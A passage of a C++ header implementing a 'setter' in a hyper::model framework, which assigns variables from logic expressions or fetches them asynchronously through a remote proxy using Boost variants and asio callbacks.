boost::optional<T> tmp;
remote_proxy proxy_;
proxy(hyper::model::ability& a) : proxy_(a) {}
};
template <typename T>
void handle_proxy(const boost::system::error_code& e, proxy<T>* pr, T& var, setter::cb_fun cb)
{
if (!e && pr->tmp)
var = *(pr->tmp);
delete pr;
cb(e);
}
template <typename T>
struct setter_visitor : public boost::static_visitor<void>
{
hyper::model::ability &a;
T& var;
setter::cb_fun cb;
setter_visitor(hyper::model::ability& a, T& var, setter::cb_fun cb) :
a(a), var(var), cb(cb) {}
template <typename U>
void operator() (const U& ) const { assert(false); }
template <typename U>
void operator() (const logic::Constant<U>& c,
typename boost::enable_if<boost::is_same<U, T> >::type* = 0) const
{
var = c.value;
cb(boost::system::error_code());
}
void operator() (const std::string& s) const
{
std::pair<std::string, std::string> p;
p = hyper::compiler::scope::decompose(s);
assert(p.first != a.name);
proxy<T>* pr = new proxy<T>(a);
void (*f) (const boost::system::error_code&, proxy<T>*, T&, setter::cb_fun) =
&handle_proxy<T>;
return pr->proxy_.async_get(p.first, p.second, pr->tmp,
boost::bind(f, boost::asio::placeholders::error,
pr, boost::ref(var), cb));
}
};
template <typename T>
void setter_helper(hyper::model::ability& a, T& var, const logic::expression& e, setter::cb_fun cb)
{
return boost::apply_visitor( setter_visitor<T>(a, var, cb), e.expr);
}
}
template <typename T>
void setter::add(const std::string& s, T& var)
{
map_fun::const_iterator it;
it = m.find(s);
assert(it == m.end());
void (*f) (model::ability&, T&, const logic::expression&, setter::cb_fun) =
&setter_details::setter_helper<T>;
m[s] = boost::bind(f, boost::ref(a), boost::ref(var), _1, _2);
}
inline
void setter::set(const std::string& s, const logic::expression& e, setter::cb_fun cb) const
{
map_fun::const_iterator it;
it = m.find(s);
if (it == m.end()) {
cb(boost::asio::error::invalid_argument);
} else
it->second(e, cb);
}
inline
void setter::set(const std::pair<std::string, const logic::expression>& p, cb_fun cb) const
{
return set(compiler::scope::get_identifier(p.first), p.second, cb);
}
}
}
#endif /* HYPER_MODEL_SETTER_IMPL_HH_ */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.